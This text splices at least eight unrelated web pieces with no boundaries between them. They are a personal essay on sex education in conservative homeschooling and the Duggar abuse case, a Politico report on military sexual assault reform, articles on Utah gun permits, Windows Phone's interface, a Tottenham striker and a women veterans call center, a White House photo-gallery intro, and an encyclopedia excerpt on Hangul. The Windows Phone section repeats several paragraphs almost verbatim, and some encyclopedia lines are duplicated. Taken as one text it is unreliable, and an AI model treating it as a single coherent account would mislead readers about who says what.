In the conservative christian homeschool worldview, sex ed is extremely lacking. We are talking about no knowledge of what sex is, human anatomy, etc. I grew up in this movement . My parents did not allow books in the house with such information. I remember when an art book from my grandparents included a nude sketch, my parents stapled several thick sheets of paper over it. I was told when I was 10 about menstruation, and that babies grow in a womb inside a woman’s belly with help from a seed from her husband. I was at several of my siblings home births. But that was it. When I was 17, I found a book in the library filled with pictures of fetal development, on one page it showed 2 thermal images of a penis showing how flaccid = cool, and erect/engorged = warm. This was the first time I was aware of the fact that erections were a part of (penis-in-vagina)sex. I went to a different section and found “Seventeen magazine’s girls guide to sex” and I put it inside of a large history book so no one could see what I was really reading and sat in the back corner on the floor reading as fast as a could. This was how I finally figured out that sex (the thing that only married people were supposed to do when they love each other very much, and was sinful and dirty otherwise) did not magically happen while 2 people slept in the same bed., and I was 17. I was 20 and married before I learned what a clitoris was. I had several children before I finally heard of the concept of “consent”.
This sheltering did not keep me from being a sexual person, It just left me with a complete lack information about it. I had no understanding of boundaries, or consent or even that masturbating was a sexual (albeit normal) act. My point is, that it is entirely possible to be a teenage conservative homeschooled kid, and have no idea what is sexual and what is not, or what is appropriate and what is not.
So no, given the circumstances of the home, combined with their belief system, I am not surprised by sibling incest. In fact, I think this happens in large conservative families far more than anyone thinks it does. What is truly horrifying, is that after setting their kids up for this to happen, Josh Duggar’s parents pushed it under the rug, kept things in house, and didn’t get help for either the molester or the children who were molested. Several of the headlines have claimed that Josh was turned in by his dad, this wasn’t true either. The investigation did not occur until over 3 years after, and only because an outsider got wind of it and called the abuse hotline. Jim Bob and Michelle did their best to cover up and move on. They claim because of god’s grace, the slate is wiped clean, as if it never happened. Except it did. It happens precisely because of the family system that has been paraded on TV for too long.
President Barack Obama gave the Pentagon an ultimatum Friday: Clean up its act on sexual assault over the next year, or get ready for some big changes that military leaders have long resisted.
It’s a safe move for the White House, giving the brass room to keep working on the high-profile issue without setting up an immediate and direct confrontation.
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But it also leaves Obama with a critical decision just after the 2014 mid-terms, and he could still follow the well-worn path he’s taken in bucking the generals on gays in the military and putting women into combat roles. Even if the military isn’t ready for social change, the commander in chief can order it.
( Also on POLITICO: Senate sends defense bill to Obama)
On sexual assault, Obama will soon sign into law a defense authorization bill that requires more than two dozen reforms to Pentagon policy. No longer will commanders have the authority to overturn jury convictions or reduce sentences. Military members convicted of a sexual crime will be discharged or dismissed. Victims are also about to get new legal protections and counseling after they report a crime.
In a statement released Friday morning, Obama directed Defense Secretary Chuck Hagel and Joint Chiefs of Staff Chairman Martin Dempsey to immediately get to work implementing the law’s provisions, giving them until Dec. 1, 2014, to “make substantial improvements with respect to sexual assault prevention and response, including to the military justice system.”
“If I do not see the kind of progress I expect, then we will consider additional reforms that may be required to eliminate this crime from our military ranks and protect our brave service members who stand guard for us every day at home and around the world,” Obama said.
Obama’s statement also name-checked Sens. Kirsten Gillibrand and Claire McCaskill, two Democratic female senators who have been spearheading the sexual assault debate this year while sharply disagreeing over whether to remove the commander from prosecution decisions.
For Gillibrand, Obama’s warning to the military that he may push for more changes offers the best public signal yet for where the president stands on her campaign to overhaul Pentagon’s World War II-era military justice system.
( Also on POLITICO: Six questions for Obama)
The New Yorker has already won over more than half the Senate, including tea party leaders like Rand Paul and Ted Cruz and Majority Leader Harry Reid. But she’s also faced fierce resistance from Hagel, Dempsey and many other Pentagon leaders. And the White House, until now, had remained silent.
Gillibrand, who spoke to Obama about the sexual assault issue Thursday, issued a statement welcoming the president’s “deep commitment to solving the sexual assault crisis in the military.”
But she also said she would still push for a Senate floor vote early in 2014.
“I do not want to wait another year to enact the one reform survivors have asked for in removing commanders with no legal training and conflicts of interest from the decision of whether or not to prosecute a rape or sexual assault,” Gillibrand said. “We have the best fighting force in the world and they deserve a first class justice system.”
McCaskill, a Missouri moderate, said Obama “should be commended for treating this scourge with the seriousness it deserves, and for fully backing the historic, comprehensive reforms we pushed across the finish line last night.”
“I agree with him that we should give these significant reforms the time they need to succeed,” McCaskill added. “And I too, plan to spend the next year holding commanders accountable, and ensuring that these historic reforms are implemented forcefully and effectively.”
But McCaskill is a long way from linking up with Gillibrand’s effort. In an interview with POLITICO earlier this week, McCaskill said the reforms in this year’s defense bill are what’s needed to solve a problem that has plagued the Pentagon for decades. “The shiny object of the disagreement over one part of this policy needs to fade,” she said.
Key House members at the center of the sexual assault debate also argue that the Pentagon should get some time to implement this year’s reforms.
“If the DoD rises to the occasion and implements this in a way that does fix the problems that it’s targeted, I think that’ll answer whether or not another approach is necessary,” Rep. Michael Turner (R-Ohio) said in an interview. “Until that occurs, it’d be incredibly premature to create a whole new system, when the problems that were identified we believe were being fixed by this legislation.
“Now if DoD fails in its implementation, then obviously we have to look at something else,” Turner added.
Turner’s partner on the issue, Rep. Niki Tsongas (D-Mass.), said she also wanted to give the Defense Department some room to enact the historic changes that Congress ordered up in this year’s bill.
“I do think the services still have a ways to go to make the case that their good order and discipline is dependent on retaining their disposition authority,” she said. “I don’t think that has been achieved quite yet. But I also think we’ve put many more tools in the tool box that they should put to good use and by doing so demonstrate their willingness and ability to deal with this issue in a substantive way.”
Tsongas added that she’d be keeping tabs on the work of an expert outside panel studying the sexual assault issue that was ordered up in last year’s defense bill. The group, led by retired federal judge Barbara Jones, plans to issue recommendations to Hagel by June.
In a prepared statement, Hagel said the defense law headed to Obama’s desk would “provide much-needed authorities that will help strengthen our sexual assault prevention and response efforts, and we are committed to implementing them effectively and without delay.”
“Eliminating sexual assault in the military is one of DoD’s highest priorities,” Hagel added. “We welcome President Obama’s continued leadership on this issue, and we share his commitment to doing whatever it takes to solve this problem.”
The Pentagon is already busy working on the issue. In November, it cited data showing a nearly 50 percent increase in sexual assault complaints – including both civilians on service members and service members on civilians — in the first three quarters of fiscal year 2013. Defense Department officials said the increase stemmed from victims who are feeling more comfortable coming forward to report sexual assaults thanks to reforms it has instituted.
Hagel and Dempsey will have several new people in place next year to work on the defense bill’s requirements. Air Force Secretary Deborah Lee James got confirmed by the Senate earlier this month, and a vote is expected soon for Jessica Wright to be the under secretary of Defense for personnel and readiness. Major Gen. Jeffrey Snow also takes over in January as head of the Sexual Assault Prevention and Response Office.
Laws for carrying concealed firearms vary widely by state, as do issuing standards for permits. New York, New Jersey and Connecticut do not honor other states’ permits. Some states, like Florida , allow nonresidents to qualify for permits. Utah stands out because its permit is relatively inexpensive and is broadly accepted, and the requisite safety class can be taken anywhere.
By passing the class and the background check, and paying a $65.25 fee, the applicant receives what many consider to be the most prized gun permit in the country. Permits are good for five years and cost $10 to renew.
Some Second Amendment proponents argue that people with permits are more likely to be law abiding because they have undergone at least some form of background check.
“The spirit of self-defense should not stop at a state’s border,” said Clark Aposhian, a Utah gun lobbyist who sits on the state’s Concealed Firearm Review Board, which helps regulate the permitting process. “Not once has there been a pattern of problems with Utah permit holders in other states.”
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But Utah’s permit program has its critics. Peter Hamm, a spokesman for the Brady Campaign to Prevent Gun Violence, asserted that Utah’s policy was dangerous because many states were lax in submitting felony and mental health records to the federal database used for background checks.
“I think it’s absolutely shameful and ludicrously irresponsible to say that anybody anywhere who wants one of our concealed-carry permits, and thus will be able to carry legally in dozens of states, can just log on to our Web site and pay 60 bucks and that’s all she wrote,” Mr. Hamm said.
As more people have turned to Utah for permits, the demand for instructors who teach Utah’s gun safety class in other states has increased. Of the 1,097 instructors certified by Utah, 706 are in other states. Advertisements for classes held throughout the country appear widely on the Internet.
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Another source of contention is that the class does not require any actual shooting. One could conceivably obtain a Utah permit without ever having fired a gun. Nevada and New Mexico recently stopped honoring Utah permits because the class does not meet its live-fire requirements.
“Residents of other states should be aware that people who have a Utah concealed-weapon permit may not have actually fired a weapon,” said Dee Rowland, chairwoman of the Gun Violence Prevention Center of Utah. “I think that would be quite shocking to members of the public.”
Supporters of Utah’s policy counter that the state’s 50-page curriculum on gun safety, and background checks that are updated every 24 hours, ensure that the system is safe.
This is both horribly controversial and also horribly subjective - and I know it's a popular meme to hate Microsoft's new 'tiles', especially on the desktop. But, regardless of their shape, the Windows Phone Start screen elements make me more efficient - I'm comparing it all to trying to live with Android, iOS, Symbian and Blackberry OS 10 - and Windows Phone is the one I keep coming back to with a sigh of satisfaction. And yes, that surprised me too...
I should make it clear that the shape of the Start screen components is irrelevant here - yes, I know Microsoft keeps making a big thing of them being square, and is matching the whole UI in the big Windows 8 transition that's currently causing controversy in desktop circles* - what's important is the density, flexibility and activity.
* for what it's worth, Windows 8's UI makes a lot of sense on tablets, but is a stretch too far on non-touch laptops - but that's just my tuppence worth....
You see, I've been bouncing around between half a dozen different smartphone UIs and so have had plenty of opportunity to get to grips with the pros and cons of each UI:
Android - there's certainly massive customisability here, with variously shaped live widgets, a dock of shortcuts, app folders if needed, a swipe down notifications pane. But there are also usability issues in comparison to Windows Phone. For starters, most people need at least three (and often four or five or more) homescreens to fit in all the bits and pieces they want, then they have to remember which thing is where. Then you swipe down the notifications, only to discover that you're getting quite a few items there from things you weren't that interested in, in the first place. Each has to be side swiped away in order for you to be left with the notifications you really wanted.
Switching between applications can also be done using the 'recent apps' list, but this contains items in the order you used them, even if they're now closed again. And navigating this rich list is time consuming - it's faster to find the shortcut or app in the main app menu.
Even Google Now, clever though it is, has started to introduce stuff that all has to be swiped away, and I can't help but feel that the whole 'notifications' culture isn't becoming too all-consuming. Do we really need information pushed from every single source?
Swipe, swipe, swipe....
- there's certainly massive customisability here, with variously shaped live widgets, a dock of shortcuts, app folders if needed, a swipe down notifications pane. But there are also usability issues in comparison to Windows Phone. For starters, most people need at least three (and often four or five or more) homescreens to fit in all the bits and pieces they want, then they have to remember which thing is where. Then you swipe down the notifications, only to discover that you're getting quite a few items there from things you weren't that interested in, in the first place. Each has to be side swiped away in order for you to be left with the notifications you really wanted. Switching between applications can also be done using the 'recent apps' list, but this contains items in the order you used them, even if they're now closed again. And navigating this rich list is time consuming - it's faster to find the shortcut or app in the main app menu. Even Google Now, clever though it is, has started to introduce stuff that all has to be swiped away, and I can't help but feel that the whole 'notifications' culture isn't becoming too all-consuming. Do we really need information pushed from every single source? Swipe, swipe, swipe.... iOS - Apple's iPhone interface has evolved a little since 2007, but not hugely. The main swipeable pages of icons and now icon folder remain - almost all of which are completely static. There's now a swipe down calendar and notifications pane, Android-style, but I still find getting around iOS requires more taps and swipes than in other mobile OS.
In fairness, the regularly spaced iOS front page has up to 24 application shortcuts - some of which may be to folders and thus a lot more can be only one extra tap away - so provided you've spent the time to customise the order of all your icons/folders, it's possibly to make iOS pretty productive.
Switching between 'running' applications is similar to on Android, using in this case the home button double press, but again it's quite time consuming swiping left and right to find the app you want among the last 80 things you ran since a week last Tuesday....
- Apple's iPhone interface has evolved a little since 2007, but not hugely. The main swipeable pages of icons and now icon folder remain - almost all of which are completely static. There's now a swipe down calendar and notifications pane, Android-style, but I still find getting around iOS requires more taps and swipes than in other mobile OS. In fairness, the regularly spaced iOS front page has up to 24 application shortcuts - some of which may be to folders and thus a lot more can be only one extra tap away - so provided you've spent the time to customise the order of all your icons/folders, it's possibly to make iOS pretty productive. Switching between 'running' applications is similar to on Android, using in this case the home button double press, but again it's quite time consuming swiping left and right to find the app you want among the last 80 things you ran since a week last Tuesday.... Blackberry OS 10 - the idea here is that your main front screen is composed of thumbnail views of (up to) the last eight applications you ran/are running. It's a nice approach (and mirrored to a degree by Jolla's Sailfish OS, which I've also played with at length), but it suffers from usability problems in that the thumbnails often look very different for each application, depending on what you were last doing in it - plus the actual positions of the thumbnails vary from moment to moment, so you've got to keep playing 'hunt the thumbnail'.
Your main source for notifications is the 'hub' view, off to the left and peekable from anywhere with a gesture. The system works quite well, but it's easy for this to get cluttered and my heart often sank as I headed there, to be faced with a barrage of Twitter mentions and Facebook events. Yes, it's possible to work towards filtering and customising this view, but it's not trivial.
- the idea here is that your main front screen is composed of thumbnail views of (up to) the last eight applications you ran/are running. It's a nice approach (and mirrored to a degree by Jolla's Sailfish OS, which I've also played with at length), but it suffers from usability problems in that the thumbnails often look very different for each application, depending on what you were last doing in it - plus the actual positions of the thumbnails vary from moment to moment, so you've got to keep playing 'hunt the thumbnail'. Your main source for notifications is the 'hub' view, off to the left and peekable from anywhere with a gesture. The system works quite well, but it's easy for this to get cluttered and my heart often sank as I headed there, to be faced with a barrage of Twitter mentions and Facebook events. Yes, it's possible to work towards filtering and customising this view, but it's not trivial. Symbian - it's worth mentioning Nokia's 'old' smartphone OS here too, in that in some ways it represented the best of all worlds. At least, it used to - the classic Nokia N97 (for all its other faults) interface, with three pages of six fixed size widgets each, any of which could be set to a panel of four application shortcuts, backed up by an application menu that could be completely and utterly customised, still represents for many people an almost perfect front end in terms of notifications and information.
Sadly, the temptation to enlarge widgets and generally tinker with things got the better of the Symbian folk at Nokia - and then the company dropped the OS altogether, making the comparisons with Windows Phone somewhat moot...
Against this background of UI whinges from yours truly, there is, I contend, the relative wonder that is a well configured Windows Phone 8 Start screen, modelled here by Rafe on his Lumia 1520:
Density
Again, don't fixate on the square nature of the elements. Add in imaginary rounded corners if you must - though don't get sued by Apple in the process! But the square interface does represent perfect efficiency in terms of layout. In Rafe's layout above there are 24 applications or widgets ('live tiles' in Microsoft parlance) and as you can see from the photo, Rafe wasn't even trying. In turns out, if you do the maths, that you can fit 60, repeat SIXTY, application shortcuts on a single Windows Phone Start screen without swiping at all. Add in another screen's full and you double that. In a real world layout like Rafe's above, add in about 1.5x extra screens full and you've got 60 or 70 items, some with large rich live tiles with active content, some with less and some just shortcuts.
Flexibility
The sheer possible density of shortcuts and information also gives rise to extra flexibility. Even more so than Android, every person's Start screen is likely to be totally different to every other's. And you can tweak positioning and tile sizes without having to remove them and re-add them (e.g. picking a different widget size à la Android). Plus I'd mention that the 'flipping' (animating) of live tiles means that they can shown two different sets of relevant information each, if programmed to do so - so in many cases you really do get two for the price of one (e.g. in weather forecasts, with today vs the rest of the week).
Activity
Finally, and possibly controversially, given the clamour for a notifications system in Windows Phone 8.1, there's the numeration of new 'things' on many live tiles. The original concept for the UI was that you could take in the status of your smartphone/life with a single glance ("Two new app updated, will look at them later, five new emails, will check them soon, no Twitter DMs, ooh, a new SMS, will just tap through to see that one" and so on. Plus the information delivered by the live tiles themselves, in terms of upcoming appointments, weather, stock prices, flight delays, etc.
(The 'recent apps' list on Windows Phone is - famously - limited to seven thumbnails - this is often quoted as limiting, though in view of what I complained at above with iOS and Android, being only able to go back seven apps does completely get round the 'swiping and swiping until you get to what you wanted' issue - either the app is there in the first couple of screen's worth or it's not there at all!)
In short, the single Start screen which often doesn't need swiping at all, the notifications which just appear and thus don't need to be swiped down and then swiped away, plus the sheer density of application shortcuts/information, all mean that - utterly to my amazement, as a long time 'Microsoft doesn't do good UI design' thinker - I'm more at home now on Windows Phone's Start screen than in any other smartphone OS front end.
It was the 71st minute when Adebayor was sent on in place of Roberto Soldado and the contrast in the reaction from the stands could not have been starker. Soldado had failed to score again, but the fans had seen him working and they applauded his desire. Then Adebayor appeared and the applause stopped abruptly. In its place came the sound of one faction enthusiastically cheering him onto the pitch, the sort of encouragement you’d give to a child in a family game of cricket when he’s been bowled out by his mum on three occasions already and looks close to tears. But alongside that encouragement, another faction booed loudly.
It’s sometimes difficult to understand pre-emptive booing, but not at White Hart Lane. In a relatively small stadium, demand always outstrips supply and the club can raise prices with impunity, certain that there will be someone else who can afford it. The cheapest season ticket at White Hart Lane is £795. The most expensive is £1,895. Adebayor is reported to be earning £100,000 a week. Little wonder that discontent simmers quickly here.
And yet when Adebayor is in the mood, he is worth that money and more. He’s powerful, he’s swift, he has the vision and the touch to bring others into play. Tim Sherwood may not have achieved much in his short spell in charge, but he did at least find a way to ignite his pilot light. After his ostracisation by Andre Villas-Boas, Sherwood put an arm around Adebayor and treated him like a star player. He even started saluting him in public. The man was practically unplayable for three months before fading towards the end of the season. But this inconsistency has been a pattern since he arrived at White Hart Lane.
Taking Adebayor on loan from Manchester City in 2011, leaving them to pay a significant portion of the wage bill, proved to be a smart move. It was rewarded with 17 league goals in his first season. Then Tottenham signed him on a permanent deal in 2012. That was a less successful move. The next season brought just five goals and that cold war with Villas-Boas.
Learning from the experiences of his two predecessors, Maurico Pochettino has leaned towards Sherwood’s example and has gone to great lengths to try and insulate his man from abuse, as yet without the same reward. On Saturday, he saw bursts of energy, a wayward snapshot from a poor cross, but no real cutting edge. But by that point, he had rather more to worry about than his striker’s performance.
It would be easy to dismiss Adebayor as just another sensitive footballer, a muscle-strapped diva who needs constant reassurance, were it not for his past. The horrific attack on the Togolese national team bus in Angola in 2010, in which three people were killed, still haunts Adebayor now. You wonder sometimes if we would be more understanding of the psychological impact if it were an English player who had lifted bloodstained team-mates out of a bullet-riddled bus.
But at some point, Tottenham have to make an objective decision. They are paying £100,000 a week for someone who has only scored five goals since the end of February last year and they are contracted to do the same until the end of next season. While Tottenham’s defence, the last ten minutes of Saturday notwithstanding, has improved dramatically and the midfield is both solid and creative, the front line is letting them down. Tottenham need a striker.
Adebayor, formerly of Arsenal, Manchester City and Real Madrid, and once courted by AC Milan, does not hold the same appeal to the big clubs now. There is little chance that anyone will want to match his White Hart Lane wages and there’s no incentive for him to break his contract early. Ironically Tottenham, who drew so much pleasure from taking Adebayor while his former club were obliged to continue paying him, may now find themselves in the same position.
It took more than 30 years for a select group of female pilots, America’s first female military fliers called the WASP, to gain recognition and veterans’ benefits following their service in World War II.
While much has changed since the Women Air Force Service Pilots gained benefits in the late 1970s, with programs and services mounting for female vets, many women who served remain on the outside when it comes to care through the Department of Veterans Affairs.
No one understands this better than the women who run The Women Veterans Call Center. The national call center, which opened in 2013 at the Canandaigua VA Medical Center, has a mission: Don’t wait for the female vets to come to you. Reach them.
Women are the fastest-growing group within the veteran population, according to the U.S. Department of Veteran Affairs.
“Calls go out to women across the nation who are not enrolled in VA care or who are enrolled and have not used it,” said Krista Stephenson, an Army veteran and director of the call center since its inception. The center, which is staffed entirely by woman, half of whom are veterans, now averages 12,000 “successful” outgoing calls a month. Those are calls that either reached a veteran directly or left a voice message, which is then followed by several more calls to reach the woman directly.
“We reach out to them to let them know they may be eligible for benefits and services,” Stephenson said. “A lot of women reached by phone do not consider themselves a veteran for a variety of reasons,” added Stephenson, who heads the center staffed by 23 women (with a 24th position to be filled). For some, their reason is simply because “they are a woman,” she said. Other reasons include, “I did not serve in combat,” or “I was not deployed overseas,” she said.
Taisha Wright, an Iraq war veteran and one of the call center’s 18 contact representatives who take and make calls, said she was fortunate after she got out of the Army in 2009. After serving 11 years, she had a lot of contacts from her time in the military and knew about her eligibility for VA care.
Wright quickly learned from working the call center, however, that this was far from the norm.
Of the growing population of female vets that is expected to reach 3 million in the next few years, fewer than 360,000 of them had received health care from the VA when the call center opened in the spring of 2013 -- that despite a wide array of benefits and services geared for female vets. Those include comprehensive primary care, mental health services, emergency and specialty care, gynecology services, maternity care, caregiver support, crisis support and help for homeless veterans.
Wright and all of the women working the center have been trained regarding these services and are informed about eligibility, benefits, health care and other services. They can route calls within the VA when needed and respond to crisis situations such as suicidal behavior, homelessness, sexual trauma and domestic violence.
Stephenson cited recent examples. One call came from a vet in a rural area of Alaska. It was a holiday, and the woman couldn’t reach the nearest VA to get her medication.
“She had tried to call her VA and got only a voice message, so she called the call center,” Stephenson said. The call center first tried reaching her VA’s Women Veterans Program manager, connected with the person covering that position on the holiday, and made sure the veteran got her medication.
In another case, a woman in domestic trouble called to say she was in immediate danger.
“She was crying, and you could hear children crying in the background,” Stephenson said.
“Her husband had just left the house, and she was afraid he would come back and kill her and (the) kids. She didn’t know where to go and what to do,” Stephenson said. The call center
teamed up with the Veterans Crisis Line; they dispatched police; and the mother and her children were taken to a VA clinic where they were safe. The husband was found and arrested, Stephenson said.
Calls are a mix of being urgent in nature or routine questions and concerns, Stephenson said.
Either way, the center gets women connected to what they need.
“The VA can be hard to navigate,” she said. “So we do that for women.”
Tammy Franklin is the Women Veterans Program manager at the Canandaigua VA and Rochester VA Outpatient Clinic. An Army veteran who served in the 1980s, Franklin said it wasn’t until the 1990s that the VA established the Women Veterans Program that now has a manager at every VA nationwide.
It took awhile for the program mandated by Congress to develop, she said. What prompted it was evidence of a disparity in care between men and women, she said. Specifically, data showed female veterans “had not been adequately represented for care for cancer and diabetes, and initially it was these two conditions that showed the disparity,” Franklin said.
Today, the VA offers many medical and behavioral health services, and new programs are being added all the time. They include a social group now being formed at both the Canandaigua and Rochester VA sites that would foster peer support and networking, Franklin said.
“It is about holistic care,” she said, emphasizing programs and services that address all aspects of care for female vets, who on average use health care more frequently than their male counterparts.
Franklin said efforts are ongoing to improve and expand VA offerings for women, including filling the need for child care. Pilot programs have been tried at Vas, but so far no funding is available for this service.
Franklin said she has pushed many a stroller through the tunnels of the Canandaigua VA to help moms with children get to their appointments.
“There was a time back in the day when we were a closed organization,” Franklin said of the VA. “We have come a long way to break down those barriers,” she said.
How many veterans?
22 million: Veteran population, U.S., Puerto Rico, and territories
2.2 million: Women veterans
177,075: Women vets in Texas, highest population of any state
66,052: Women vets in New York
http://www.va.gov/vetdata/
U.S. Department of Veterans Affairs, as of Sept. 30, 2014
Woman veterans
15 percent of active duty military
18 percent of guard and reserve forces
12 percent of veterans who served in Iraq and Afghanistan
1 in 5 from wars in Iraq and Afghanistan diagnosed with PTSD
56 percent have service-connected disability
1 of 5 responded “yes” when VA screened for Military Sexual Trauma
— U.S. Department of Veterans Affairs
Women Veterans Call Center
1-855-VA-WOMEN (1-855-829-6636)
Monday through Friday, 8 a.m. to 10 p.m.
Saturday, 8 a.m. to 6:30 p.m.
More on Women Veterans Health Care
http://www.womenshealth.va.gov/
If you go
WHAT: Valor Day
WHEN: June 13, 9 a.m. to 1 p.m.
WHERE: Monroe Community College, 1000 E Henrietta Road, Brighton, Warshof Conference Center and Empire Room, use parking in Lot M and N
DETAILS: Local VA centers and veterans advocacy groups collaborate to offer a one-stop event to match vets with community service providers; will include one-on-one consultations.
By Pete Souza, Chief Official White House Photographer
The Obama White House Blocked Unblock Follow Following Dec 30, 2015
One of the best and most challenging aspects of my job is whittling down a year’s worth of photographs to the final selections for my annual Year in Photographs. Every year, I attempt to keep it less than 100 photos — and every year I fail in that goal. But I am excited once again to present this gallery for the seventh consecutive year.
Each photograph, taken either by me or a White House photographer on my staff, is accompanied by my personal observations about the image. Some images require little explanation. However, for several images, I’ve included the backstory behind the image to provide further context or to share why that image was particularly important to me.
Editing photographs, especially for a project like this, is both subjective and personal. I not only found key historic moments from the year, but also chose moments that give people a more personal look at the lives of the President and First Lady. I’ve also included many photographs that rely more on their graphic qualities, including light and composition. And yes, I’ve included a couple of photographs of the President with Ella Rhodes, because she was certainly the best subject of the year.
The Korean alphabet, known as Hangul ( HAHN-gool;[1] from Korean 한글, Korean pronunciation: [ha(ː)n.ɡɯl]), has been used to write the Korean language since its creation in the 15th century by King Sejong the Great.[2][3] It may also be written as Hangeul following the standard Romanization.
It is the official writing system of Korea, both South and North. It is a co-official writing system in the Yanbian Korean Autonomous Prefecture and Changbai Korean Autonomous County in Jilin Province, China. It is sometimes used to write the Cia-Cia language spoken near the town of Baubau, Indonesia.
The Hangul alphabet originally consisted of 28 letters with 17 consonant letters and 11 vowel letters when it was created. With four became obsolete, the modern Hangul consists of total 24 letters with 14 consonant letters and 10 vowel letters. In North Korea the total is counted 40. It consists of 19 consonant letters and 21 vowel letters as it additionally includes 5 tense consonants (ㄲ ㄸ ㅃ ㅉ ㅆ) and 20 (for compound and complex vowel letters as well as ㅐ ㅔ).
The Korean letters are written in syllabic blocks with each alphabetic letter placed vertically and horizontally into a square dimension. For example, the Korean word for "honeybee" (kkulbeol) is written 꿀벌, not ㄲㅜㄹㅂㅓㄹ.[4] As it combines the features of alphabetic and syllabic writing systems, it has been described as an "alphabetic syllabary" by some linguists.[5][6] As in traditional Chinese writing, Korean texts were traditionally written top to bottom, right to left, and are occasionally still written this way for stylistic purposes. Today, it is typically written from left to right with spaces between words and western-style punctuation.[7]
Some linguists consider it among the most phonologically faithful writing systems in use today. One interesting feature of Hangul is that the shapes of its consonants seemingly mimic the shapes of the speaker's mouth when pronouncing each consonant.[5][7][8]
Names [ edit ]
Official names [ edit ]
The word "Hangul", written in the Korean alphabet
The Korean alphabet was originally called Hunminjeong'eum (훈민정음), after the document that introduced the script to the Korean people in 1446.[10]
The Korean alphabet is called hangeul (한글), a name coined by Korean linguist Ju Si-gyeong in 1912. The name combines the ancient Korean word han (한), meaning "great", and geul (글), meaning "script". The word han is used to refer to Korea in general, so the name also means "Korean script".[11] It has been romanized in multiple ways:
Hangeul or han-geul in the Revised Romanization of Korean, which the South Korean government uses in English publications and encourages for all purposes.
or in the Revised Romanization of Korean, which the South Korean government uses in English publications and encourages for all purposes. Han'gŭl in the McCune–Reischauer system, is often capitalized and rendered without the diacritics when used as an English word, Hangul, as it appears in many English dictionaries.
in the McCune–Reischauer system, is often capitalized and rendered without the diacritics when used as an English word, Hangul, as it appears in many English dictionaries. Hānkul in the Yale romanization, a system recommended for technical linguistic studies.
In North Korea it is called Chosŏn'gŭl (조선글) after Chosŏn, the North Korean name for Korea after the old name of Korea. [12] The McCune–Reischauer system is used there.
Other names [ edit ]
Until the mid-20th century, the Korean elite preferred to write using Chinese characters called Hanja. They referred to Hanja as jinseo (진서) or "true letters". Some accounts say the elite referred to the Korean alphabet derisively as 'amkeul (암클) meaning "women's script", and 'ahaetgeul (아햇글) meaning "children's script", though there is no written evidence of this.[13]
Supporters of the Korean alphabet referred to it as jeong'eum (정음) meaning "correct pronunciation", gukmun (국문) meaning "national script", and 'eonmun (언문) meaning "vernacular script".[13]
History [ edit ]
Creation [ edit ]
Before the creation of the new Korean alphabet, Koreans primarily wrote using Classical Chinese alongside native phonetic writing systems that predate the modern Korean alphabet by hundreds of years, including Idu script, Hyangchal, Gugyeol and Gakpil.[14][15][16][17] However, due to fundamental differences between the Korean and Chinese languages, and the large number of characters, many lower class Koreans were illiterate.[18] To promote literacy among the common people, the fourth king of the Joseon dynasty, Sejong the Great, personally created and promulgated a new alphabet.[3][18][19]
The Korean alphabet was designed so that people with little education could learn to read and write. A popular saying about the alphabet is, "A wise man can acquaint himself with them before the morning is over; even a stupid man can learn them in the space of ten days."[20]
Hunminjeong'eum Eonhae. The Hangul-only column, third from the left ( 나랏말ᄊᆞ미 ), has pitch-accent diacritics to the left of the syllable blocks. A page from the. The Hangul-only column, third from the left (), has pitch-accent diacritics to the left of the syllable blocks.
The project was completed in late December 1443 or January 1444, and described in 1446 in a document titled Hunminjeong'eum (The Proper Sounds for the Education of the People), after which the alphabet itself was originally named.[13] The publication date of the Hunminjeongeum, October 9, became Hangul Day in South Korea. Its North Korean equivalent, Chosŏn'gŭl Day, is on January 15.
Another document published in 1446 and titled Hunminjeong'eum Haerye ("Hunminjeong'eum Explanation and Examples") was discovered in 1940. This document explains that the design of the consonant letters is based on articulatory phonetics and the design of the vowel letters are based on the principles of yin and yang and vowel harmony.
Opposition [ edit ]
The Korean alphabet faced opposition in the 1440s by the literary elite, including politician Choe Manri and other Korean Confucian scholars. They believed Hanja was the only legitimate writing system. They also saw the circulation of the Korean alphabet as a threat to their status.[18] However, the Korean alphabet entered popular culture as King Sejong had intended, used especially by women and writers of popular fiction.[21]
King Yeonsangun banned the study and publication of the Korean alphabet in 1504, after a document criticizing the king entered the public.[22] Similarly, King Jungjong abolished the Ministry of Eonmun, a governmental institution related to Hangul research, in 1506.[23]
Revival [ edit ]
The late 16th century, however, saw a revival of the Korean alphabet as gasa and sijo poetry flourished. In the 17th century, the Korean alphabet novels became a major genre.[24] However, the use of the Korean alphabet had gone without orthographical standardization for so long that spelling had become quite irregular.[21]
Songangasa, a collection of poems by Jeong Cheol, printed in 1768. , a collection of poems by Jeong Cheol, printed in 1768.
In 1796, the Dutch scholar Isaac Titsingh became the first person to bring a book written in Korean to the Western world. His collection of books included the Japanese book, Sangoku Tsūran Zusetsu (An Illustrated Description of Three Countries) by Hayashi Shihei.[25] This book, which was published in 1785, described the Joseon Kingdom[26] and the Korean alphabet.[27] In 1832, the Oriental Translation Fund of Great Britain and Ireland supported the posthumous abridged publication of Titsingh's French translation.[28]
Thanks to growing Korean nationalism, the Gabo Reformists' push, and Western missionaries' promotion of the Korean alphabet in schools and literature,[29] the Hangul Korean alphabet was adopted in official documents for the first time in 1894.[22] Elementary school texts began using the Korean alphabet in 1895, and Tongnip Sinmun, established in 1896, was the first newspaper printed in both Korean and English.[30]
Reforms and prohibition under Japanese rule [ edit ]
After the Japanese annexation, which occurred in 1910, Japanese was made the official language of Korea. However, the Korean alphabet was still taught in Korean-established schools built after the annexation and Korean was written in a mixed Hanja-Hangul script, where most lexical roots were written in Hanja and grammatical forms in the Korean alphabet. Japan banned earlier Korean literature from public schooling, which became mandatory for children.
The orthography of the Korean alphabet was partially standardized in 1912, when the vowel arae'a (ㆍ)–which has now disappeared from Korean–was restricted to Sino-Korean roots: the emphatic consonants were standardized to ㅺ, ㅼ, ㅽ, ㅆ, ㅾ and final consonants restricted to ㄱ, ㄴ, ㄹ, ㅁ, ㅂ, ㅅ, ㅇ, ㄺ, ㄻ, ㄼ. Long vowels were marked by a diacritic dot to the left of the syllable, but this was dropped in 1921.[21]
A second colonial reform occurred in 1930. The arae-a was abolished: the emphatic consonants were changed to ㄲ, ㄸ, ㅃ, ㅆ, ㅉ and more final consonants ㄷ, ㅈ, ㅌ, ㅊ, ㅍ, ㄲ, ㄳ, ㄵ, ㄾ, ㄿ, ㅄ were allowed, making the orthography more morphophonemic. The double-consonant ㅆ was written alone (without a vowel) when it occurred between nouns, and the nominative particle -가 was introduced after vowels, replacing -이.[21]
